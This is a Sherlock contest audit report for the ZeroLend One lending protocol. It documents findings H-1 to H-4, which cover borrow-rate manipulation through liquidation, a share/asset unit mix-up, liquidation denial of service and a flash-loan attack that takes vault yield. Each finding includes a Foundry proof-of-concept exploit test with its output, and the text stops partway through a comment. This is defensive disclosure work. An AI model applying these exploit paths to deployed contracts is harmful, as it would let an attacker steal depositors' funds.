SHERLOCK

Security Review For Zerolend

Public contest prepared for:	**Zerolend**
Lead Security Expert:	**hyh**
Date Audited:	**August 22 - September 10, 2024**

Introduction

ZeroLend One is the next version of the ZeroLend protocol and introduces a highly scalable multi-chain lending protocol that is permissionless, isolated and curates risk management.

Scope

Repository: zerolend/zerolend-one

Branch: master

Audited Commit: 6b681f2a16be20cb2d43e544c164f913a8db1cb8

Final Commit: 6b681f2a16be20cb2d43e544c164f913a8db1cb8

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

High	Medium
11	15

Security experts who found valid issues

A2-security	almurhasan	TessKimy
Obsidian	ether_sky	000000
iamnmt	Bigsam	0xc0ffEE
Nihavent	joshuajee	dany.armstrong90
0xNirix	Flashloan44	dhank
zarkk01	trachev	0xAlix2
tallo	JCN	denzi_

Varun_05
lemonmon
Honour
ZC002
imsrybr0
wellbyt3
stuart_the_minion
thisvishalsingh
Tendency
nfmelendez
silver_eth
coffiasd
Ocean_Sky
KupiaSec

0xweebad
BiasedMerc
0xMax1mus
hyh
Bauchibred
Oblivionis
Jigsaw
Valy001
perseus
rilwan99
jah
theweb3mechanic
0xAristos
aman

wickie
EgisSecurity
sheep
0xlrivo
emmac002
HackTrace
karsar
0xDemon
JuggerNaut63
charlesjhongc
oxelmiguel
neon2835
DenTonylifer

Issue H-1: A Reserve Borrow Rate can be significantly decreased after liquidation

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/104

Found by

000000, 0xAlix2, 0xc0ffEE, A2-security, BiasedMerc, Honour, JCN, KupiaSec, Nihavent, Obsidian, Tendency, TessKimy, Varun_05, almurhasan, dhank, ether_sky, jah, lemonmon, perseus, rilwan99, stuart_the_minion, trachev, wellbyt3, zarkk01

Summary

When performing a liquidation, the borrow rate of the reserve is updated by burnt debt shares instead of the remaining debt shares.

Therefore, according to the amount of the burnt shares in a liquidation, the borrow rate can be significantly decreased.

Vulnerability Detail

In the `LiquidationLogic::executeLiquidationCall()` function, there is a `_repayDebtTokens()` function call to burn covered debt shares through the liquidation.

```
function executeLiquidationCall(
  mapping(address => DataTypes.ReserveData) storage reservesData,
  mapping(uint256 => address) storage reservesList,
  mapping(address => mapping(bytes32 => DataTypes.PositionBalance)) storage
↪  balances,
  mapping(address => DataTypes.ReserveSupplies) storage totalSupplies,
  mapping(bytes32 => DataTypes.UserConfigurationMap) storage usersConfig,
  DataTypes.ExecuteLiquidationCallParams memory params
) external {
  ... ...
  _repayDebtTokens(params, vars, balances[params.debtAsset],
↪  totalSupplies[params.debtAsset]);
  ... ...
}
```

In the `_repayDebtTokens()` function, `nextDebtShares` of `debtReserveCache` is updated with burnt shares instead of the remaining debt shares.

```
function _repayDebtTokens(
  DataTypes.ExecuteLiquidationCallParams memory params,
  LiquidationCallLocalVars memory vars,
  mapping(bytes32 => DataTypes.PositionBalance) storage balances,
  DataTypes.ReserveSupplies storage totalSupplies
) internal {
  uint256 burnt = balances[params.position].repayDebt(totalSupplies,
↪   vars.actualDebtToLiquidate, vars.debtReserveCache.nextBorrowIndex);
  vars.debtReserveCache.nextDebtShares = burnt; // <-- Wrong here!!!
}
```

This incorrectly updated `debtReserveCache.nextDebtShares` then is used to update the borrow rate in interest rate strategy.

Consequently, we can have conclusion that the less amount of debt is covered when running a liquidation, the lower the borrow rate gets because next borrow rate depends on the amount of burnt debt shares.

Proof-Of-Concept

Here is a proof test case:

```
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.19;

import "../../../../lib/forge-std/src/console.sol";

import './PoolSetup.sol';

import {ReserveConfiguration} from
↪   './../../../../../contracts/core/pool/configuration/ReserveConfiguration.sol';

import {UserConfiguration} from
↪   './../../../../../contracts/core/pool/configuration/UserConfiguration.sol';

contract PoolLiquidationTest is PoolSetup {
  using UserConfiguration for DataTypes.UserConfigurationMap;
  using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
  using ReserveConfiguration for DataTypes.ReserveData;

  address alice = address(1);
  address bob = address(2);

  uint256 mintAmountA = 1000 ether;
  uint256 mintAmountB = 2000 ether;
  uint256 supplyAmountA = 550 ether;
  uint256 supplyAmountB = 750 ether;
  uint256 borrowAmountB = 400 ether;

  function setUp() public {
    _setUpPool();
    pos = keccak256(abi.encodePacked(alice, 'index', uint256(0)));
  }

  // @audit-poc
  function testLiquidationDecreaseBorrowRatePoc() external {
    oracleA.updateAnswer(100e8);
    oracleB.updateAnswer(100e8);

    _mintAndApprove(alice, tokenA, mintAmountA, address(pool));
    _mintAndApprove(bob, tokenB, mintAmountB, address(pool));

    vm.startPrank(alice);
    pool.supplySimple(address(tokenA), alice, supplyAmountA, 0);
    vm.stopPrank();

    vm.startPrank(bob);
    pool.supplySimple(address(tokenB), bob, supplyAmountB, 0);
    vm.stopPrank();

    vm.startPrank(alice);
    pool.borrowSimple(address(tokenB), alice, borrowAmountB - 1 ether, 0);
    vm.stopPrank();

    // Advance time to make the position unhealthy
    vm.warp(block.timestamp + 360 days);
    oracleA.updateAnswer(100e8);
    oracleB.updateAnswer(100e8);

    // Expect the position unhealthy
    vm.startPrank(alice);
    vm.expectRevert(bytes('HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD'));
    pool.borrowSimple(address(tokenB), alice, 1 ether, 0);
    vm.stopPrank();

    // Print log of borrow rate before liquidation
    pool.forceUpdateReserve(address(tokenB));
    DataTypes.ReserveData memory reserveDataB =
 ↪ pool.getReserveData(address(tokenB));
    console.log("reserveDataB.borrowRate before:", reserveDataB.borrowRate);

    vm.startPrank(bob);
    vm.expectEmit(true, true, true, false);
    emit PoolEventsLib.LiquidationCall(address(tokenA), address(tokenB), pos, 0, 0,
 ↪ bob);
    pool.liquidateSimple(address(tokenA), address(tokenB), pos, 0.01 ether);
    vm.stopPrank();

    // Print log of borrow rate after liquidation
    reserveDataB = pool.getReserveData(address(tokenB));
    console.log("reserveDataB.borrowRate after: ", reserveDataB.borrowRate);
  }
```

```
}
```

And logs are:

```
$ forge test --match-test testLiquidationDecreaseBorrowRatePoc -vvv
[] Compiling...
[] Compiling 11 files with Solc 0.8.19
[] Solc 0.8.19 finished in 5.89s
Compiler run successful!

Ran 1 test for
↪  test/forge/core/pool/PoolLiquidationPocTests.t.sol:PoolLiquidationTest
[PASS] testLiquidationDecreaseBorrowRatePoc() (gas: 1205596)
Logs:
  reserveDataB.borrowRate before: 105094339622641509433962264
  reserveDataB.borrowRate after:  4242953968798528786019
```

Impact

A malicious borrower can manipulate the borrow rate of his any unhealthy positions and repay his debt with signficantly low borrow rate.

Code Snippet

pool/logic/LiquidationLogic.sol#L246

Tool used

Manual Review

Recommendation

Should update the `nextDebtShares` with `totalSupplies.debtShares`:

```
  function _repayDebtTokens(
    DataTypes.ExecuteLiquidationCallParams memory params,
    LiquidationCallLocalVars memory vars,
    mapping(bytes32 => DataTypes.PositionBalance) storage balances,
    DataTypes.ReserveSupplies storage totalSupplies
  ) internal {
    uint256 burnt = balances[params.position].repayDebt(totalSupplies,
↪   vars.actualDebtToLiquidate, vars.debtReserveCache.nextBorrowIndex);
-   vars.debtReserveCache.nextDebtShares = burnt;
+   vars.debtReserveCache.nextDebtShares = totalSupplies.debtShares;
```

```
  }
```

Issue H-2: Full Liquidation Won't Sweep the Whole Debts With Leaving Some, And Will Wrongly Set Borrowing as False

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/107

Found by

000000, 0xAlix2, 0xc0ffEE, A2-security, Bigsam, Honour, JCN, KupiaSec, Nihavent, Obsidian, TessKimy, Varun_05, almurhasan, coffiasd, dany.armstrong90, dhank, ether_sky, iamnmt, silver_eth, stuart_the_minion, trachev, zarkk01

Full Liquidation Won't Sweep the Whole Debts With Leaving Some, And Will Wrongly Set Borrowing as False

Summary

When a liquidator tries to full liquidation (to cover full debts), there will leave some uncovered debts and the liquidation will wrongly set borrowing status of the debt asset as false.

Vulnerability Detail

According to the comment in `IPoolSetters.sol`, `debtToCover` parameter of the `liquidate()` function is intended to be debt assets, not shares.

> The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives a proportionally amount of the `collateralAsset` plus a bonus to cover market risk

But the `_calculateDebt` function call in the `executeLiquidationCall()` do the operations on debt shares to calculate debt amount to cover and collateral amount to buy.

```
function _calculateDebt(
  DataTypes.ExecuteLiquidationCallParams memory params,
  uint256 healthFactor,
  mapping(address => mapping(bytes32 => DataTypes.PositionBalance)) storage balances
) internal view returns (uint256, uint256) {
  uint256 userDebt = balances[params.debtAsset][params.position].debtShares;

  uint256 closeFactor = healthFactor > CLOSE_FACTOR_HF_THRESHOLD ?
↪   DEFAULT_LIQUIDATION_CLOSE_FACTOR : MAX_LIQUIDATION_CLOSE_FACTOR;

  uint256 maxLiquidatableDebt = userDebt.percentMul(closeFactor);

  uint256 actualDebtToLiquidate = params.debtToCover > maxLiquidatableDebt ?
↪   maxLiquidatableDebt : params.debtToCover;

  return (userDebt, actualDebtToLiquidate);
}
```

According to this function, the return values `userDebt` and `actualDebtToLiquidate` are debt shares because they are not multiplied by borrow index.

Meanwhile, on the collateral reserve side, the `vars.userCollateralBalance` value that is provided as collateral balance to the `_calculateAvailableCollateralToLiquidate()`

function, is collateral shares not assets. (pool/logic/LiquidationLogic.sol#L136-L148)

```
vars.userCollateralBalance =
 ↪  balances[params.collateralAsset][params.position].supplyShares;

(vars.actualCollateralToLiquidate, vars.actualDebtToLiquidate,
 ↪  vars.liquidationProtocolFeeAmount) =
  _calculateAvailableCollateralToLiquidate(
    collateralReserve,
    vars.debtReserveCache,
    vars.actualDebtToLiquidate,
    vars.userCollateralBalance, // @audit-info Supply shares not assets
    vars.liquidationBonus,
    IPool(params.pool).getAssetPrice(params.collateralAsset),
    IPool(params.pool).getAssetPrice(params.debtAsset),
    IPool(params.pool).factory().liquidationProtocolFeePercentage()
  );
```

As there is no shares-to-assets conversion in the `_calculateAvailableCollateralToLiquidate()` function, the return values of the function `vars.actualCollateralToLiquidate`, `vars.actualDebtToLiquidate`, `vars.liquidationProtocolFeeAmount` are shares.

The remaining liquidation flow totally treat these share values as asset amounts. e.g. `_repayDebtTokens()` function calls the `repayDebt` function whose input is supposed to be assets:

```
function _repayDebtTokens( ... ) internal {
  uint256 burnt = balances[params.position].repayDebt(totalSupplies,
 ↪  vars.actualDebtToLiquidate, vars.debtReserveCache.nextBorrowIndex); // <--
 ↪  @audit `vars.actualDebtToLiquidate` is shares at this moment
  vars.debtReserveCache.nextDebtShares = burnt;
}
```

Thus, when a liquidator tries to cover full debts, the liquidation will leave `((borrowIndex-1)/borrowIndex)*debtShares` debt shares and will set the borrowing status of the debt asset as false via the following code snippet.

```
function executeLiquidationCall(...) external {
  ... ...
  if (vars.userDebt == vars.actualDebtToLiquidate) {
    userConfig.setBorrowing(debtReserve.id, false);
  }
  ... ...
}
```

Proof-Of-Concept

To make a test case simple, I simplified the oracle price feeds like the below in the `CorePoolTests.sol` file:

```
  function _setUpCorePool() internal {
    ... ...
    oracleA = new MockV3Aggregator(8, 1e8);
-   oracleB = new MockV3Aggregator(18, 2 * 1e8);
+   oracleB = new MockV3Aggregator(8, 1e8);
    ... ...
  }
```

And created a new test file `PoolLiquidationTest2.sol`:

```
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.19;

import "../../../../lib/forge-std/src/console.sol";

import './PoolSetup.sol';

import {ReserveConfiguration} from
 ↪  '././../../../../contracts/core/pool/configuration/ReserveConfiguration.sol';

import {UserConfiguration} from
 ↪  '././../../../../contracts/core/pool/configuration/UserConfiguration.sol';

contract PoolLiquidationTest2 is PoolSetup {
  using UserConfiguration for DataTypes.UserConfigurationMap;
  using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
  using ReserveConfiguration for DataTypes.ReserveData;

  address alice = address(1);
  address bob = address(2);

  uint256 mintAmountA = 200 ether;
  uint256 mintAmountB = 200 ether;
  uint256 supplyAmountA = 60 ether;
  uint256 supplyAmountB = 60 ether;
  uint256 borrowAmountB = 45 ether;

  function setUp() public {
    _setUpPool();
    pos = keccak256(abi.encodePacked(alice, 'index', uint256(0)));
  }

  // @audit-poc
  function testLiquidationInvalidUnits() external {
    oracleA.updateAnswer(1e8);
    oracleB.updateAnswer(1e8);

    _mintAndApprove(alice, tokenA, mintAmountA, address(pool));
    _mintAndApprove(bob, tokenB, mintAmountB, address(pool));

    vm.startPrank(alice);
    pool.supplySimple(address(tokenA), alice, supplyAmountA, 0);
    vm.stopPrank();

    vm.startPrank(bob);
    pool.supplySimple(address(tokenB), bob, supplyAmountB, 0);
    vm.stopPrank();

    vm.startPrank(alice);
    pool.borrowSimple(address(tokenB), alice, borrowAmountB, 0);
    vm.stopPrank();

    // Advance time to make the position unhealthy
    vm.warp(block.timestamp + 360 days);
    oracleA.updateAnswer(1e8);
    oracleB.updateAnswer(1e8);

    // Print log of borrow rate before liquidation
    pool.forceUpdateReserve(address(tokenB));
    DataTypes.ReserveData memory reserveDataB =
  ↪ pool.getReserveData(address(tokenB));
    console.log("reserveDataB.borrowIndex before Liq.", reserveDataB.borrowIndex);

    DataTypes.PositionBalance memory positionBalance =
  ↪ pool.getBalanceRawByPositionId(address(tokenB), pos);
    console.log('debtShares Before Liq.', positionBalance.debtShares);

    DataTypes.UserConfigurationMap memory userConfig =
  ↪ pool.getUserConfiguration(alice, 0);
    console.log('TokenB isBorrowing Before Liq.',
  ↪ UserConfiguration.isBorrowing(userConfig, reserveDataB.id));

    vm.startPrank(bob);
    vm.expectEmit(true, true, true, false);
    emit PoolEventsLib.LiquidationCall(address(tokenA), address(tokenB), pos, 0, 0,
  ↪ bob);
    pool.liquidateSimple(address(tokenA), address(tokenB), pos, 100 ether); //
  ↪ @audit Tries to cover full debts
    vm.stopPrank();

    positionBalance = pool.getBalanceRawByPositionId(address(tokenB), pos);
    console.log('debtShares After Liq.', positionBalance.debtShares);

    userConfig = pool.getUserConfiguration(alice, 0);
    console.log('TokenB isBorrowing After Liq.',
 ↪  UserConfiguration.isBorrowing(userConfig, reserveDataB.id));
  }
}
```

And here are the logs:

```
$ forge test --match-test testLiquidationInvalidUnits -vvv
[] Compiling...
[] Compiling 1 files with Solc 0.8.19
[] Solc 0.8.19 finished in 4.83s
Compiler run successful!

Ran 1 test for
 ↪  test/forge/core/pool/PoolLiquidationPocTests2.t.sol:PoolLiquidationTest2
[PASS] testLiquidationInvalidUnits() (gas: 1172963)
Logs:
  reserveDataB.borrowIndex before Liq. 1252660064369089319656921640
  debtShares Before Liq. 45000000000000000000
  TokenB isBorrowing Before Liq. true
  debtShares After Liq. 9076447170314674990
  TokenB isBorrowing After Liq. false
```

As can be seen from the logs, there are significant amount of debts left but the borrowing flag was set as false.

Impact

Wrongly setting borrowing status as false will affect the calculation of total debt amount, LTV and health factor, and this incorrect calculation will affect the whole ecosystem of a pool.

Code Snippet

pool/logic/LiquidationLogic.sol#L136

pool/logic/LiquidationLogic.sol#L264

Tool used

Manual Review

Recommendation

Update the issued lines in the `LiquidationLogic.sol` file:

```
  function executeLiquidationCall(
    ... ...
  ) external {
    ... ...
-   vars.userCollateralBalance =
↪   balances[params.collateralAsset][params.position].supplyShares;
+   vars.userCollateralBalance = balances[params.collateralAsset][params.position].⌋
↪   getSupplyBalance(collateralReserve.liquidityIndex);
    ... ...
  }

  function _calculateDebt(
    ... ...
  ) internal view returns (uint256, uint256) {
-   uint256 userDebt = balances[params.debtAsset][params.position].debtShares;
+   uint256 userDebt =
↪   balances[params.debtAsset][params.position].getDebtBalance(borrowIndex);
  }
```

I tried the above POC testcase to the update and the logs are:

```
$ forge test --match-test testLiquidationInvalidUnits -vv
[ ] Compiling...
[ ] Compiling 7 files with Solc 0.8.19
[ ] Solc 0.8.19 finished in 5.90s
Compiler run successful!

Ran 1 test for
↪   test/forge/core/pool/PoolLiquidationPocTests2.t.sol:PoolLiquidationTest2
[PASS] testLiquidationInvalidUnits() (gas: 1137920)
Logs:
  reserveDataB.borrowIndex before Liq. 1252660064369089319656921640
  debtShares Before Liq. 45000000000000000000
  TokenB isBorrowing Before Liq. true
  debtShares After Liq. 0
  TokenB isBorrowing After Liq. false
```

Discussion

DemoreXTess

Escalate

There are two distinct issues that have been grouped into the same issue pool. While the impact is similar, the root causes of the issues are completely different. This categorization is also unfair to the Watsons who reported both issues.

sherlock-admin3

> Escalate
>
> There are two distinct issues that have been grouped into the same issue pool. While the impact is similar, the root causes of the issues are completely different. This categorization is also unfair to the Watsons who reported both issues.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

Tomiwasa0

Again i agree with @DemoreXTess , These are two different functions, A fix for A doesn't solve B although the seem similar. Hence 2 different Root cause, similar impact. They should be Duplicated into

1. Wrong debt amount
2. Wrong Collateral amount

samuraii77

> Escalate
>
> There are two distinct issues that have been grouped into the same issue pool. While the impact is similar, the root causes of the issues are completely different. This categorization is also unfair to the Watsons who reported both issues.

No, it's unfair for watsons who reported both as one if they are split into 2. The issue caused by a single root cause.

DemoreXTess

@samuraii77 People who submitted both issues at ones should be the duplicate of both two unique issues. There is nothing wrong about that.

cvetanovv

I disagree with the escalation and thought the Lead Judge correctly duplicated them.

The root cause is that the liquidation will be called with wrong values. And those Watsons who correctly judged the root cause would be harmed by a potential separation.

Planning to reject the escalation and leave the issue as is.

DemoreXTess

@cvetanovv I don't understand. What is your argument for your rejection ? Some of watsons will suffer from that or issues are really same ?

The root cause are completely different. Solving one of those problems doesn't solve the other issue. They are not even in same block scope.

If the reason of rejection is the reports who mentioned both issues, we should also consider the watsons who submitted both issues in separate. There are 2 different high issues and it reduces the worth of submissions significantly which is far worse in this situation.

DemoreXTess

@cvetanovv If you system doesnt support 1 report 2 duplicate system, we can't do anything for them but it is Watson's responsibility to identify which issue is duplicate of another issue. Those issues are definitely different as I stated above.

cvetanovv

@DemoreXTess This is not the main reason.

As I have written, the root cause is that the liquidation will be called with wrong values.

You can also see my comment on your other similar escalation https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/473#issuecomment-2426173895

The same principle is grouped when there are reentrancy vulnerabilities, lack of slippage protection, or unsafe cast. Even if they are different functions and contracts, we duplicate them together.

DemoreXTess

@cvetanovv Okay, then my escalations are invalid for both. I didn't know that rule in Sherlock. Thank you for clarification.

WangSecurity

Result: High Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- DemoreXTess: rejected

Issue H-3: Liquidation can be DOSed due to lack of liquidity on collateral asset reserve

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/198

Found by

A2-security, Flashloan44, Obsidian, almurhasan, zarkk01

Summary

Lack of liquidity on collateral asset reserves can cause disruption to liquidation.

Root Cause

The protocol don't have option to disable borrowing or withdrawing in a particular asset reserve for a certain extent to protect the collateral deposits. It can only disable borrowing or freeze the whole reserves but not for specific portion such as collateral deposits. This can be a big problem because someone can always deduct or empty the reserves either by withdrawing their lended assets or borrowing loan. And when the liquidation comes, the collateral can't be paid to liquidator because the asset reserve is already not enough or emptied.

The pool administrator might suggest designating whole asset reserve to be used only for collateral deposit purposes and not for lending and borrowing. However this can be circumvented by malicious users by transferring their collateral to other reserves that accepts borrowing and lending which can eventually led the collateral to be borrowed. This is the nature of multi-asset lending protocol, it allows multiple asset reserves for borrowing and lending as per protocol documentation.

There could be another suggestion to resolve this by only using one asset reserve per pool that offers lending and borrowing but this will already contradict on what the protocol intends to be which is to be a multi-asset lending pool, meaning there are multiple assets offering lending in single pool.

If the protocol intends to do proper multi-asset lending pool platform, it should protect the collateral assets regarding liquidity issues.

Internal pre-conditions

1. Pool creator should setup the pool with more than 2 asset reserves offering lending or borrowing and each of reserves accepts collateral deposits. It allows any of the asset reserves to conduct borrowing to any other asset reserves and vice versa.

This is pretty much the purpose and design of the multi-asset lending protocol as per documentation.

External pre-conditions

No response

Attack Path

This can be considered as attack path or can happen also as normal scenario due to the nature or design of the multi-asset lending protocol. Take note the step 6 can be just a normal happening or deliberate attack to disrupt the liquidation.

Impact

This should be high risk since in a typical normal scenario, this vulnerability can happen without so much effort. The protocol also suffers from bad debt as the loan can't be liquidated.

PoC

1. Modify this test file /zerolend-one/test/forge/core/pool/PoolLiquidationTests.t.sol and insert the following: a. in line 16, put address carl = address(3); // add carl as borrower b. modify this function _generateLiquidationCondition() internal { _mintAndApprove(alice, tokenA, mintAmountA, address(pool)); // alice 1000 tokenA _mintAndApprove(bob, tokenB, mintAmountB, address(pool)); // bob 2000 tokenB _mintAndApprove(carl, tokenB, mintAmountB, address(pool)); // carl 2000 tokenB »> add this line

   vm.startPrank(alice); pool.supplySimple(address(tokenA), alice, supplyAmountA, 0); // 550 tokenA alice supply vm.stopPrank();

   vm.startPrank(bob); pool.supplySimple(address(tokenB), bob, supplyAmountB, 0); // 750 tokenB bob supply vm.stopPrank();

   vm.startPrank(carl); pool.supplySimple(address(tokenB), carl, supplyAmountB, 0); // 750 tokenB carl supply »> add this portion vm.stopPrank();

   vm.startPrank(alice); pool.borrowSimple(address(tokenB), alice, borrowAmountB, 0); // 100 tokenB alice borrow vm.stopPrank();

   assertEq(tokenB.balanceOf(alice), borrowAmountB);

   oracleA.updateAnswer(5e3); } c. Insert this test function testLiquidationSimple2() external { _generateLiquidationCondition(); (, uint256 totalDebtBase,,,,) = pool.getUserAccountData(alice, 0);

> vm.startPrank(carl); pool.borrowSimple(address(tokenA), carl, borrowAmountB, 0); // 100 tokenA carl borrow to deduct the reserves in which the collateral is deposited vm.stopPrank();
>
> vm.startPrank(bob); vm.expectRevert(); pool.liquidateSimple(address(tokenA), address(tokenB), pos, 10 ether); // Bob tries to liquidate Alice but will revert
>
> vm.stopPrank();
>
> (, uint256 totalDebtBaseNew,,,,) = pool.getUserAccountData(alice, 0);
>
> // Ensure that no liquidation happened and Alice's debt remains the same assertEq(totalDebtBase, totalDebtBaseNew, "Debt should remain the same after failed liquidation");

} 2. Run the test forge test -vvvv --match-contract PoolLiquidationTest --match-test testLiquidationSimple2

Mitigation

Each asset reserve should be modified to not allow borrowing or withdrawing for certain collateral deposits. For example, if a particular asset reserve has deposits for collateral, these deposits should not be allowed to be borrowed or withdrew. The rest of the balance of asset reserves will do the lending. At the current design, the pool admin can only make the whole reserve as not enabled for borrowing but not for specific account or amount.

Discussion

sherlock-admin3

1 comment(s) were left on this issue during the judging contest.

Honour commented:

> see #147

0xspearmint1

This issue should be high severity, it satisfies Sherlock's criteria for high issues

> Definite loss of funds without (extensive) limitations of external conditions. The loss of the affected party must exceed 1%.

The attacker can easily delay the liquidation till bad debt accumulates which will be a >1% loss for the lender

Haxatron

Escalate

Final time to use this

sherlock-admin3

> Escalate
>
> Final time to use this

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

cvetanovv

This issue does not qualify as high severity.

The vulnerability arises because the protocol allows collateral to be borrowed, which can lead to temporary liquidation failures due to insufficient liquidity in the pool.

However, for a user to withdraw all the funds from a pool and cause this scenario, he would need a large amount of capital. Even if they succeed in doing so, the DoS on liquidations is only temporary because the borrower must eventually return the borrowed funds, and they will also incur interest costs.

Planning to reject the escalation and leave the issue as is.

0xjuaan

@cvetanovv

> and they will also incur interest costs

The interest cost will never need to be paid, because the borrow will not be liquidateable.

> he DoS on liquidations is only temporary because the borrower must eventually return the borrowed funds

The DoS on liquidations is not temporary because the borrow will never need to be repaid (because there is no risk of liquidation from accrued interest, because all the collateral is borrowed) Even if it was temporary, a DoS of liquidations can be weaponised to lead to bad debt, which is >1% profit for the attacker (at the expense of depositors) since their borrowed funds will be worth more than their collateral provided.

Based on the above, it is clearly a high severity issue. It has arised due to forking AAVE but not allowing representative aTokens to be seized, as mentioned in #318:

> This is a known issue that aave have mitigated by allowing liquidators to seize ATokens instead of underlying tokens, when there is not enough liquidity in the pools. To achieve the modularity expected zerolend have tried to simplify the design by removing this core functionality, this however exposes the protocol to the risk of liquidation being blocked if there is not enough liquidity in the pools.

Honour-d-dev

i agree with @cvetanovv there will always be costs for the attacker, as all assets ltv must be less than 1 so the attacker will have to deposit more in value than they borrow.

Combined with their growing interest that, they'll have to either repay the loan + interest to retrieve their initial capital or don't repay and still suffer losses as borrowing is overcollateralized. This is a temporary DOS at best.

0xjuaan

As I explained, it's a DOS of liquidation which directly leads to bad debt when collateral value keeps dropping, where the attacker's borrowed funds is worth more than their collateral, so they steal funds via this DOS

They don't need to repay and collect their collateral as the debt is worth more (due to bad debt)

cvetanovv

I will accept the escalation. In theory, a malicious user with very large capital could DoS the liquidation without any constraints, and does not have to return the collateral.

Planning to accept the escalation and make this issue High severity.

WangSecurity

Result: High Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- haxatron: accepted

Issue H-4: An attacker can hijack the `CuratedVault`'s matured yield

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/199

Found by

0xAlix2, 0xc0ffEE, A2-security, JCN, Obsidian, TessKimy, Varun_05, dhank, ether_sky, iamnmt, trachev, zarkk01

Summary

`CuratedVault#totalAssets` does not update pool's `liquidityIndex` at the beginning will cause the matured yield to be distributed to users that do not supply to the vault before the yield accrues. An attacker can exploit this to hijack the `CuratedVault`'s matured yield.

Root Cause

`CuratedVault#totalAssets` does not update pool's `liquidityIndex` at the beginning

https://github.com/sherlock-audit/2024-06-new-scope/blob/c8300e73f4d751796daad3dadbae4d11072b3d79/zerolend-one/contracts/core/vaults/CuratedVault.sol#L368-L372

```
function totalAssets() public view override returns (uint256 assets) {
  for (uint256 i; i < withdrawQueue.length; ++i) {
    assets += withdrawQueue[i].getBalanceByPosition(asset(), positionId);
  }
}
```

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

Let's have:

- A vault has a total assets of `totalAssets`
- `X` amount of yield is accrued from `T1` to `T2`

1. The attacker takes a flash loan of `flashLoanAmount`
2. The attacker deposits `flashLoanAmount` at `T2` to the vault. Since `CuratedVault#totalAssets` does not update pool's `liquidityIndex`, the minted shares are calculated based on the total assets at `T1`.
3. The attacker redeems all the shares and benefits from `X` amount of yield.
4. The attacker repays the flash loan.

The cost of this attack is gas fee and flash loan fee.

Impact

The attacker hijacks `flashLoanAmount/(flashLoanAmount+totalAssets)` percentage of `X` amount of yield.

`X` could be a considerable amount when:

- The pool has high interest rate.
- `T2-T1` is large. This is the case for the pool with low interactions.

When `X` is a considerable amount, the amount of hijacked funds could be greater than the cost of the attack, then the attacker will benefit from the attack.

PoC

Due to a bug in `PositionBalanceConfiguration#getSupplyBalance` that we submitted in a different issue, fix the `getSupplyBalance` function before running the PoC

`core/pool/configuration/PositionBalanceConfiguration.sol`

```
library PositionBalanceConfiguration {
  function getSupplyBalance(DataTypes.PositionBalance storage self, uint256 index)
↪   public view returns (uint256 supply) {
-   uint256 increase = self.supplyShares.rayMul(index) -
↪   self.supplyShares.rayMul(self.lastSupplyLiquidtyIndex);
-   return self.supplyShares + increase;
+   return self.supplyShares.rayMul(index);
  }
}
```

Run command: `forgetest--match-pathtest/PoC/PoC.t.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
```

```
import {console} from 'lib/forge-std/src/Test.sol';
import '../forge/core/vaults/helpers/IntegrationVaultTest.sol';

contract ERC4626Test is IntegrationVaultTest {
  address attacker = makeAddr('attacker');

  function setUp() public {
    _setUpVault();
    _setCap(allMarkets[0], CAP);
    _sortSupplyQueueIdleLast();

    oracleB.updateRoundTimestamp();
    oracle.updateRoundTimestamp();

    uint256 vaultAssets = 10 ether;

    loanToken.mint(supplier, vaultAssets);
    vm.prank(supplier);
    vault.deposit(vaultAssets, supplier);

    vm.prank(attacker);
    loanToken.approve(address(vault), type(uint256).max);
  }

  function testDeposit() public {
    collateralToken.mint(borrower, type(uint128).max);

    vm.startPrank(borrower);
    allMarkets[0].supplySimple(address(collateralToken), borrower,
↪   type(uint128).max, 0);
    allMarkets[0].borrowSimple(address(loanToken), borrower, 8 ether, 0);

    skip(100 days);

    oracleB.updateRoundTimestamp();
    oracle.updateRoundTimestamp();

    uint256 vaultAssetsBefore = vault.totalAssets();

    console.log("Vault's assets before updating reserve: %e", vaultAssetsBefore);

    uint256 snapshot = vm.snapshot();

    allMarkets[0].forceUpdateReserve(address(loanToken));
    console.log("Vault's accrued yield: %e", vault.totalAssets() -
↪   vaultAssetsBefore);

    vm.revertTo(snapshot);

    uint256 flashLoanAmount = 100 ether;
    loanToken.mint(attacker, flashLoanAmount);

    vm.startPrank(attacker);
    uint256 shares = vault.deposit(flashLoanAmount, attacker);
    vault.redeem(shares, attacker, attacker);
    vm.stopPrank();

    console.log("Attacker's profit: %e", loanToken.balanceOf(attacker) -
 ↪  flashLoanAmount);
  }
}
```

Logs:

```
Vault's assets before updating reserve: 1e19
Vault's accrued yield: 5.62832773326440941e17
Attacker's profit: 5.11666157569491763e17
```

Although the yield accrued, the vault's assets before updating reserve is still `1e19`.

Mitigation

Update pool's `liquidityIndex` at the beginning of `CuratedVault#totalAssets`

```
  function totalAssets() public view override returns (uint256 assets) {
    for (uint256 i; i < withdrawQueue.length; ++i) {
+     withdrawQueue[i].forceUpdateReserve(asset());
      assets += withdrawQueue[i].getBalanceByPosition(asset(), positionId);
    }
  }
```

Discussion

DemoreXTess

Escalate

This should be classified as high severity. Due to the outdated totalAssets, all actions that rely on totalAssets, such as supplying assets, will result in a loss of funds. The minted shares will be incorrect whenever a user supplies assets to the vault. This not only exposes the protocol to flash loan attacks but also causes a direct loss of funds for users. Therefore, the severity of the issue should be high.

sherlock-admin3

